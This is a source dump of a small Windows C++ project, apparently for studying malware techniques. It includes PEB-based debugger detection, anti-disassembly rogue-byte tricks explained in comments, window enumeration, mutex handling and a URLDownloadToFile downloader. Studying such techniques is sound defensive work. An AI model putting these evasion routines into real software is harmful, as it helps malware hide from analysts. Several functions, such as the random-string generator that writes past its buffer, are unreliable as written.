-------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/vc.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/vc.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/ve.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/ve.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/vg.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/vg.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/vi.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/vi.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/vn.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/vn.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/vu.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/vu.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/wf.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/wf.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/ws.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/ws.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/xx.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/xx.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/ye.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/ye.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/yt.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/yt.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/za.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/za.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/zm.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/zm.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/zw.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/zw.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/systems/2000.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/systems/2000.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/systems/2003.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/systems/2003.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/systems/2008.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/systems/2008.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/systems/xp.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/systems/xp.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/apps/rte_flash.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/apps/rte_flash.png -------------------------------------------------------------------------------- /GearsOfCyberWar/res/apps/rte_html4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/apps/rte_html4.png -------------------------------------------------------------------------------- /GearsOfCyberWar/res/apps/rte_html5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/apps/rte_html5.png -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/wales.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/wales.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/systems/2008r2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/systems/2008r2.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/systems/seven.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/systems/seven.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/systems/vista.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/systems/vista.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/actions/connect.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/actions/connect.png -------------------------------------------------------------------------------- /GearsOfCyberWar/res/actions/download.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/actions/download.png -------------------------------------------------------------------------------- /GearsOfCyberWar/res/actions/options.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/actions/options.png -------------------------------------------------------------------------------- /GearsOfCyberWar/res/actions/rte_gears.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/actions/rte_gears.png -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/catalonia.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/catalonia.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/england.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/england.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/scotland.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/scotland.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/systems/unknown.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/systems/unknown.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/actions/disconnect.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/actions/disconnect.png -------------------------------------------------------------------------------- /GearsOfCyberWar/src/RandomGenerator.h: -------------------------------------------------------------------------------- 1 | 2 | int TestRandomGenerators(); 3 | unsigned int GenerateRandomInt(unsigned int Minimum, unsigned int Maximum); -------------------------------------------------------------------------------- /GearsOfCyberWar/res/apps/rte_silverlight.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/apps/rte_silverlight.png -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/europeanunion.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/europeanunion.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/src/DownloadFileFromWeb.h: -------------------------------------------------------------------------------- 1 | 2 | int TestDownloadFile(); 3 | bool IsIERunningInProtectedMode(); 4 | int DownloadFileViaUrlmon(const wchar_t* Url, const wchar_t* RemotePath, 5 | const wchar_t* LocalFile); -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /GearsOfCyberWar/src/AntiDebugging.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | 4 | bool IsBeingDebugByteSetInPEB() { 5 | unsigned char IsDebuggerPresent = 0; 6 | __asm 7 | { 8 | mov eax,dword ptr fs:[0x18] 9 | mov eax,dword ptr [eax+0x30] 10 | cmp byte ptr [eax+2],0 11 | je NoDebugger 12 | mov IsDebuggerPresent, 1 13 | jmp ReturnToMain 14 | NoDebugger: 15 | mov IsDebuggerPresent, 0 16 | ReturnToMain: 17 | } 18 | return IsDebuggerPresent; 19 | } -------------------------------------------------------------------------------- /GearsOfCyberWar/src/SendHttpRequest.h: -------------------------------------------------------------------------------- 1 | 2 | 3 | int SendHttpRequestViaWinsock (const char* Host, unsigned short Port, 4 | char* HttpRequest, unsigned int HttpRequestLength, 5 | char* Response, unsigned int* ResponseLength); 6 | 7 | char* AddHttpRequestHeader(char* HttpRequest, unsigned int HttpRequestLength, 8 | const char* HeaderName, const char* HeaderNameLength, 9 | const char* HeaderValue, const char* HeaderValueLength); 10 | 11 | char* CreateHttpGetRequestString(const char* Host, unsigned short HostLength, 12 | const char* Page, unsigned short PageLength, 13 | const char* Method, char* QueryString, unsigned int QueryStringLength, 14 | unsigned int* HttpRequestLength); 15 | 16 | int TestHttpRequest(); -------------------------------------------------------------------------------- /GearsOfCyberWar/GearsOfCyberWar.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 11.00 3 | # Visual C++ Express 2010 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "GearsOfCyberWar", "GearsOfCyberWar.vcxproj", "{2E58A632-5F37-40BB-8D64-B93969AA61A9}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Win32 = Debug|Win32 9 | Release|Win32 = Release|Win32 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {2E58A632-5F37-40BB-8D64-B93969AA61A9}.Debug|Win32.ActiveCfg = Debug|Win32 13 | {2E58A632-5F37-40BB-8D64-B93969AA61A9}.Debug|Win32.Build.0 = Debug|Win32 14 | {2E58A632-5F37-40BB-8D64-B93969AA61A9}.Release|Win32.ActiveCfg = Release|Win32 15 | {2E58A632-5F37-40BB-8D64-B93969AA61A9}.Release|Win32.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /GearsOfCyberWar/src/EnumerateWindows.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | bool EnumWindowsProc(HWND hwnd, LPARAM lParam) 5 | { 6 | DWORD dwLength = 0; 7 | DWORD dwOffset = 0; 8 | DWORD dwProcessID = 0; 9 | LPBYTE lpBuffer = *(LPBYTE *)lParam; 10 | 11 | wchar_t strTitle[1024]; 12 | memset(strTitle, 0, sizeof(strTitle)); 13 | GetWindowText(hwnd, strTitle, sizeof(strTitle)); 14 | 15 | if (!IsWindowVisible(hwnd) || lstrlen(strTitle) == 0) 16 | return true; 17 | 18 | 19 | if (lpBuffer == NULL) 20 | lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1); 21 | 22 | dwLength = sizeof(DWORD) + lstrlen(strTitle) + 1; 23 | dwOffset = LocalSize(lpBuffer); 24 | 25 | lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE); 26 | 27 | GetWindowThreadProcessId(hwnd, (LPDWORD)(lpBuffer + dwOffset)); 28 | memcpy(lpBuffer + dwOffset + sizeof(DWORD), strTitle, lstrlen(strTitle) + 1); 29 | 30 | *(LPBYTE *)lParam = lpBuffer; 31 | 32 | return true; 33 | } 34 | 35 | LPBYTE getWindowsList() 36 | { 37 | LPBYTE lpBuffer = NULL; 38 | EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&lpBuffer); 39 | //lpBuffer[0] = TOKEN_WSLIST; 40 | return lpBuffer; 41 | } 42 | 43 | int TestEnumerateWindows() { 44 | 45 | return 0; 46 | } -------------------------------------------------------------------------------- /GearsOfCyberWar/src/Mutex.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | /** 5 | 6 | 7 | Using Mutex Objects 8 | 9 | CreateMutex function 10 | */ 11 | int SetupMutex(wchar_t* MutexName) { 12 | HANDLE hMutex = CreateMutex( 13 | NULL, 14 | FALSE, 15 | MutexName); 16 | 17 | if (hMutex == NULL) { 18 | return -1; 19 | } 20 | 21 | return 0; 22 | } 23 | 24 | /** 25 | 26 | */ 27 | bool MutexExists(wchar_t* MutexName) { 28 | HANDLE hMutex = OpenMutex(SYNCHRONIZE, 29 | FALSE, MutexName); 30 | //return (hMutex != NULL); 31 | if (hMutex == NULL) { 32 | return false; 33 | } else { 34 | return true; 35 | } 36 | } 37 | 38 | /** 39 | 40 | 41 | ReleaseMutex function 42 | */ 43 | bool DeleteMutex(wchar_t* MutexName) { 44 | HANDLE hMutex = OpenMutex(SYNCHRONIZE, 45 | FALSE, MutexName); 46 | return ReleaseMutex(MutexName); 47 | } 48 | 49 | int TestMutex() { 50 | bool result = false; 51 | wchar_t* MutexName = L"TestMutex"; 52 | DeleteMutex(MutexName); 53 | wprintf(L"[*] Testing if mutex %s exists...", MutexName); 54 | result = MutexExists(MutexName); 55 | if (!result) { 56 | printf("[NO]\n"); 57 | } else { 58 | wprintf(L"[YES]\n[!] Deleting mutex %s...\n", MutexName); 59 | DeleteMutex(MutexName); 60 | } 61 | 62 | wprintf(L"[*] Creating mutex %s ...", MutexName); 63 | SetupMutex(MutexName); 64 | printf("[DONE]\n"); 65 | 66 | wprintf(L"[*] Testing if mutex %s exists...", MutexName); 67 | result = MutexExists(MutexName); 68 | if (!result) { 69 | printf("[NO]\n"); 70 | } else { 71 | wprintf(L"[YES]\n[!] Deleting mutex %s...\n", MutexName); 72 | DeleteMutex(MutexName); 73 | } 74 | 75 | return 1; 76 | } -------------------------------------------------------------------------------- /GearsOfCyberWar/src/RandomGenerator.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | unsigned int GenerateRandomInt(unsigned int Minimum, unsigned int Maximum) { 7 | unsigned int RandomSleepPeriod = 0; 8 | 9 | if (Minimum > Maximum) { 10 | unsigned int t = Maximum; 11 | Maximum = Minimum; 12 | Minimum = t; 13 | } 14 | 15 | srand(time(NULL)); 16 | RandomSleepPeriod = rand()%Maximum+Minimum; 17 | 18 | return RandomSleepPeriod; 19 | } 20 | 21 | char* GenerateRandomString(unsigned int MinimumLength, unsigned int MaximumLength, 22 | const char* Alphabet, unsigned int AlphabetLength) { 23 | unsigned int RandomStringLength = 0; 24 | 25 | if (MinimumLength > MaximumLength) { 26 | unsigned int t = MaximumLength; 27 | MaximumLength = MinimumLength; 28 | MinimumLength = t; 29 | } 30 | 31 | srand(time(NULL)); 32 | RandomStringLength = rand()%MaximumLength+MinimumLength; 33 | char* RandomString = new char[RandomStringLength]; 34 | SecureZeroMemory(RandomString, RandomStringLength); 35 | unsigned int RandomCharacterIdx = 0; 36 | char RandomCharacter = 'a'; 37 | for (unsigned int i = 0; i < (RandomStringLength-1); i++) { 38 | RandomCharacterIdx = rand()%(AlphabetLength-1); 39 | RandomCharacter = Alphabet[RandomCharacterIdx]; 40 | RandomString[i] = RandomCharacter; 41 | } 42 | 43 | RandomString[RandomStringLength] = 0x0; 44 | return RandomString; 45 | } 46 | 47 | int TestRandomGenerators() { 48 | int result = 0; 49 | unsigned int SleepDuration = 0; 50 | printf("[*] Testing random integer generation...\n"); 51 | SleepDuration = GenerateRandomInt(3476, 125674); 52 | printf("[+] Random integer generated: %dms.\n", SleepDuration); 53 | 54 | char* RandomString; 55 | char* RandomAlphabet = "ABCDEFGHIxyz02371!-+"; 56 | printf("[*] Testing random string generation...\n"); 57 | RandomString = GenerateRandomString(6, 12, RandomAlphabet, strlen(RandomAlphabet)); 58 | printf("[+] Random string generated: %s.\n", RandomString); 59 | 60 | 61 | return 0; 62 | } -------------------------------------------------------------------------------- /GearsOfCyberWar/src/DownloadFileFromWeb.cpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #pragma comment(lib,"urlmon.lib") 9 | #pragma comment(lib,"Iepmapi.lib") 10 | 11 | /** 12 | 13 | 14 | Require Iepmapi.h/Iepmapi.lib 15 | 16 | 17 | 18 | Understanding and Working in Protected Mode Internet Explorer 19 | 20 | */ 21 | bool IsIERunningInProtectedMode() { 22 | HRESULT hResult = 0; 23 | BOOL bProtectedMode = FALSE; 24 | 25 | hResult = IEIsProtectedModeProcess ( &bProtectedMode ); 26 | 27 | return ( SUCCEEDED(hResult) && bProtectedMode ); 28 | } 29 | 30 | /** 31 | 32 | 33 | Understanding and Working in Protected Mode Internet Explorer 34 | 35 | */ 36 | int DownloadFileViaUrlmon(const wchar_t* Url, const wchar_t* RemotePath, 37 | const wchar_t* LocalFile) { 38 | 39 | if (Url == NULL) { return -1; } 40 | if (LocalFile == NULL) { return -1;} 41 | 42 | wchar_t* RemoteFile = new wchar_t[65535]; 43 | SecureZeroMemory(RemoteFile, 65535); 44 | wcscpy_s(RemoteFile, 65535, Url); 45 | wcscat(RemoteFile, RemotePath); 46 | //COM object on Internet explorer must create file in IE template folder. Because IE protected mode. 47 | HRESULT result = URLDownloadToFile(NULL, RemoteFile, LocalFile, 0, NULL); 48 | 49 | if (result != S_OK) { return -1; } 50 | return 0; 51 | } 52 | 53 | int TestDownloadFile() { 54 | //http://mirror.internode.on.net/pub/test/1meg.test 55 | const wchar_t* Url = L"http://mirror.internode.on.net"; 56 | const wchar_t* RemoteFile = L"/pub/test/1meg.test"; 57 | const wchar_t* LocalFile = L"c:\\tmp\\test.bin"; 58 | int result = 0; 59 | bool isProtectedMode = IsIERunningInProtectedMode(); 60 | 61 | if (isProtectedMode) { 62 | printf("[!] Internet Explorer is running in protected mode.\n"); 63 | } else { 64 | printf("[+] Internet Explorer is not running in protected mode.\n"); 65 | } 66 | wprintf(L"[*] Downloading %s from %s to %s.\n", RemoteFile, Url, LocalFile); 67 | result = DownloadFileViaUrlmon(Url, RemoteFile, LocalFile); 68 | 69 | if (result < 0) { 70 | wprintf(L"[-] Failed to download %s from %s.\n", RemoteFile, Url); 71 | } else { 72 | wprintf(L"[-] File successfuly downloaded to %s.\n", LocalFile); 73 | } 74 | 75 | return 0; 76 | } -------------------------------------------------------------------------------- /GearsOfCyberWar/src/AntiDisassembly.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | 4 | /** 5 | 6 | 7 | 8 | Linear Disassembly; iterates over a block of code in a sequential fashion, one 9 | instruction at a time. 10 | Flow Disassembly; employs an algorithm wherein it builds lists of locations 11 | to disassemble based upon the flow instruction. It then needs to conduct multiple 12 | passes to disassemble all paths. This usually prevent disassembling useless code. 13 | 14 | When met with a conditional jump, many disassembler immediately follow the 15 | false route when disassembling the binary. 16 | 17 | The overall strategy is to add data bytes that will be translated as opcode by the 18 | disassembler. By adding additional bytes after a jump, i.e. rogue bytes, we can 19 | manipulate the disassembler in many occasions. 20 | 21 | 22 | xor eax, eax 23 | jz 0x40112343+2 24 | jnz 0x40112343+2 25 | 26 | loc_40112343: 27 | 0xEB 0x907611AF call 0x907611AF 28 | 29 | 30 | In the above example, the conditional jump will go directly to byte 0x76 31 | instead of the of the call instruction. However the disassembler will disassemble 32 | the byte after the false condition and translate it as a call. 33 | 34 | 35 | 36 | 37 | */ 38 | 39 | int Example1() { 40 | 41 | printf("[*] Prior to bypass jump.\n"); 42 | //goto BYTE_BYPASS; 43 | char endmsg[] = "[*] After bypass jump.\n"; 44 | //char bytes[] = {0xEB, 0x90}; //new char[2]; 45 | //bytes[0] = 0xEB; 46 | //bytes[1] = 0x90; 47 | __asm 48 | { 49 | push eax 50 | //mov ecx, 58909090h 51 | xor eax, eax 52 | jz $+7 53 | push 58909090h 54 | ret 55 | xor edx, edx 56 | inc edx 57 | dec edx 58 | } 59 | 60 | //printf(); 61 | return 0; 62 | } 63 | /* 64 | int Example2() { 65 | 66 | printf("[*] Prior to bypass jump.\n"); 67 | 68 | __asm{ 69 | push ax; 70 | mov ax, 0x05eb; 71 | xor eax, eax; 72 | jz -6; 73 | db 0xE8; 74 | db 0x58; 75 | db 0xC3; 76 | db 0x90; 77 | db 0x90; 78 | } 79 | 80 | printf("[*] After bypass jump.\n"); 81 | 82 | return 0; 83 | } 84 | */ 85 | /* 86 | int exmaple3() { 87 | __asm{ 88 | call $+5; 89 | add [esp+4+var_4], 5; 90 | retn; 91 | label_continue: 92 | push ebp; 93 | mov ebp, esp; 94 | mov eax, [ebp+8]; 95 | imul eax, 0x2A; 96 | mov esp, ebp; 97 | pop ebp; 98 | retn; 99 | } 100 | } 101 | */ 102 | /** 103 | SEH is at FS:[0] 104 | Need to put address of our handler to FS:[0] 105 | Throw an exception 106 | */ 107 | /* 108 | int ReplaceSEH() { 109 | 110 | __asm{ 111 | 112 | mov eax, (offset ProgramExceptionHandler+1); 113 | add eax, 14h; 114 | push eax; 115 | 116 | } 117 | } 118 | */ -------------------------------------------------------------------------------- /GearsOfCyberWar/src/FileIO.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int CreateEmptyFile(wchar_t* Filename, unsigned short FilenameSize) { 5 | HANDLE hFile = CreateFile( 6 | Filename, 7 | GENERIC_READ | GENERIC_WRITE, 8 | NULL, 9 | NULL, 10 | CREATE_ALWAYS, 11 | FILE_ATTRIBUTE_NORMAL, 12 | NULL 13 | ); 14 | 15 | if (hFile == INVALID_HANDLE_VALUE) { 16 | return -1; 17 | } 18 | CloseHandle(hFile); 19 | return 0; 20 | } 21 | 22 | /** 23 | 24 | 25 | WriteFile function 26 | */ 27 | int WriteDataToFile(wchar_t* Filename, 28 | unsigned short FilenameSize, unsigned char* Bytes, unsigned int BytesSize) { 29 | 30 | HANDLE hFile = CreateFile( 31 | Filename, 32 | GENERIC_READ | GENERIC_WRITE, 33 | NULL, 34 | NULL, 35 | CREATE_ALWAYS, 36 | FILE_ATTRIBUTE_NORMAL, 37 | NULL 38 | ); 39 | 40 | if (hFile == INVALID_HANDLE_VALUE) { 41 | return -1; 42 | } 43 | DWORD BytesWrittenSize = 0; 44 | BOOL WriteSuccess = WriteFile( 45 | hFile, 46 | Bytes, 47 | BytesSize, 48 | &BytesWrittenSize, 49 | NULL); 50 | 51 | if (WriteSuccess == FALSE) { 52 | CloseHandle(hFile); 53 | return -1; 54 | } 55 | 56 | CloseHandle(hFile); 57 | return 0; 58 | } 59 | 60 | /** 61 | 62 | */ 63 | bool FileExists(const wchar_t* Filename) 64 | { 65 | DWORD fileAttr; 66 | 67 | fileAttr = GetFileAttributes(Filename); 68 | if (0xFFFFFFFF == fileAttr) { 69 | return false; 70 | } 71 | return true; 72 | } 73 | 74 | int TestFileIO() { 75 | wchar_t* TestPath = L"C:\\tmp\\"; 76 | wchar_t* TestFile = L"text.txt"; 77 | wchar_t* TestFilename = L"C:\\tmp\\text.txt"; 78 | wchar_t* TestData = L"Hello World!"; 79 | int result = 0; 80 | wprintf(L"[*] Checking if file %s exists...", TestFile); 81 | if (FileExists(TestFilename)) { 82 | wprintf(L"[FOUND]\n"); 83 | wprintf(L"[!] Deleting %s.\n", TestFilename); 84 | DeleteFile(TestFilename); 85 | } else { 86 | wprintf(L"[NOT FOUND]\n"); 87 | } 88 | 89 | wprintf(L"[*] Creating file %s...\n", TestFile); 90 | result = CreateEmptyFile(TestFilename, wcslen(TestFilename)); 91 | if (result == 0) { 92 | wprintf(L"[+] %s%s created.\n", TestPath, TestFile); 93 | } else { 94 | wprintf(L"[-] Fail to create %s%s...\n", TestPath, TestFile); 95 | return -1; 96 | } 97 | 98 | wprintf(L"[*] Writing %d byte(s) to %s...\n", 2*wcslen(TestData), TestFile); 99 | result = WriteDataToFile(TestFilename, wcslen(TestFilename), 100 | (unsigned char*)TestData, wcslen(TestData)*2); 101 | if (result == 0) { 102 | wprintf(L"[+] Wrote %d byte(s) to %s...\n", 2*wcslen(TestData), TestFile); 103 | } else { 104 | DWORD LastError = GetLastError(); 105 | wprintf(L"[-] Failed to write to %s.(ERR_CODE: %02x)...\n", TestFile, LastError); 106 | return -1; 107 | } 108 | return 0; 109 | } -------------------------------------------------------------------------------- /GearsOfCyberWar/GearsOfCyberWar.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | Header Files 32 | 33 | 34 | Header Files 35 | 36 | 37 | Header Files 38 | 39 | 40 | Header Files 41 | 42 | 43 | Header Files 44 | 45 | 46 | Header Files 47 | 48 | 49 | Header Files 50 | 51 | 52 | 53 | 54 | Source Files 55 | 56 | 57 | Source Files 58 | 59 | 60 | Source Files 61 | 62 | 63 | Source Files 64 | 65 | 66 | Source Files 67 | 68 | 69 | Source Files 70 | 71 | 72 | Source Files 73 | 74 | 75 | Source Files 76 | 77 | 78 | Source Files 79 | 80 | 81 | Source Files 82 | 83 | 84 | Source Files 85 | 86 | 87 | Source Files 88 | 89 | 90 | Source Files 91 | 92 | 93 | Source Files 94 | 95 | 96 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ################# 2 | ## Eclipse 3 | ################# 4 | 5 | *.pydevproject 6 | .project 7 | .metadata 8 | bin/ 9 | tmp/ 10 | *.tmp 11 | *.bak 12 | *.swp 13 | *~.nib 14 | local.properties 15 | .classpath 16 | .settings/ 17 | .loadpath 18 | 19 | # External tool builders 20 | .externalToolBuilders/ 21 | 22 | # Locally stored "Eclipse launch configurations" 23 | *.launch 24 | 25 | # CDT-specific 26 | .cproject 27 | 28 | # PDT-specific 29 | .buildpath 30 | 31 | 32 | ################# 33 | ## Visual Studio 34 | ################# 35 | 36 | ## Ignore Visual Studio temporary files, build results, and 37 | ## files generated by popular Visual Studio add-ons. 38 | 39 | # User-specific files 40 | *.suo 41 | *.user 42 | *.sln.docstates 43 | 44 | # Build results 45 | 46 | [Dd]ebug/ 47 | [Rr]elease/ 48 | x64/ 49 | build/ 50 | [Bb]in/ 51 | [Oo]bj/ 52 | 53 | # MSTest test Results 54 | [Tt]est[Rr]esult*/ 55 | [Bb]uild[Ll]og.* 56 | 57 | *_i.c 58 | *_p.c 59 | *.ilk 60 | *.meta 61 | *.obj 62 | *.pch 63 | *.pdb 64 | *.pgc 65 | *.pgd 66 | *.rsp 67 | *.sbr 68 | *.tlb 69 | *.tli 70 | *.tlh 71 | *.tmp 72 | *.tmp_proj 73 | *.log 74 | *.vspscc 75 | *.vssscc 76 | .builds 77 | *.pidb 78 | *.log 79 | *.scc 80 | 81 | # Visual C++ cache files 82 | ipch/ 83 | *.aps 84 | *.ncb 85 | *.opensdf 86 | *.sdf 87 | *.cachefile 88 | 89 | # Visual Studio profiler 90 | *.psess 91 | *.vsp 92 | *.vspx 93 | 94 | # Guidance Automation Toolkit 95 | *.gpState 96 | 97 | # ReSharper is a .NET coding add-in 98 | _ReSharper*/ 99 | *.[Rr]e[Ss]harper 100 | 101 | # TeamCity is a build add-in 102 | _TeamCity* 103 | 104 | # DotCover is a Code Coverage Tool 105 | *.dotCover 106 | 107 | # NCrunch 108 | *.ncrunch* 109 | .*crunch*.local.xml 110 | 111 | # Installshield output folder 112 | [Ee]xpress/ 113 | 114 | # DocProject is a documentation generator add-in 115 | DocProject/buildhelp/ 116 | DocProject/Help/*.HxT 117 | DocProject/Help/*.HxC 118 | DocProject/Help/*.hhc 119 | DocProject/Help/*.hhk 120 | DocProject/Help/*.hhp 121 | DocProject/Help/Html2 122 | DocProject/Help/html 123 | 124 | # Click-Once directory 125 | publish/ 126 | 127 | # Publish Web Output 128 | *.Publish.xml 129 | *.pubxml 130 | *.publishproj 131 | 132 